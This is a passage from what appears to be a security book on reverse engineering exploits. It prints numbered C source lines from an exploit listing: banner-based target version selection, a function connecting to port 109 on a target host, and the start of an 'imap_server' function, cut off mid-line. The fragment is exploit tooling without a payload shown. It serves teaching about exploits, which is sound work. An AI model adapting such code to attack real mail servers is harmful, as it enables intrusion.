Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals

158

159

for(i = 0; targets[i].version != NULL; i++) {

160 printf(".");

161 if(strstr(recvbuf, targets[i].version) != NULL) {

162 printf("adjusted for %s\n", targets[i].version);

163 close(sockfd);

164 return(i);

165 }

166 }

167

168

close(sockfd);

169 printf("no adjustments made\n");

170 return(0);

171 }

172

173

int connection(char *host)

174 {

175 int sockfd, c;

176 struct sockaddr_in sin;

177

178

sockfd = socket(AF_INET, SOCK_STREAM, 0);

179 if(sockfd < 0)

180 return(sockfd);

181

182

sin.sin_family = AF_INET;

183 sin.sin_port = htons(109);

184 sin.sin_addr.s_addr = resolve(host);

185

186

c = connect(sockfd, (struct sockaddr *)&sin, sizeof(sin));

187 if(c < 0) {

188 close(sockfd);

189 return(c);

190 }

191

192

return(sockfd);

193 }

194

195

int imap_server()

196 {

197 int ssockfd, csockfd, ...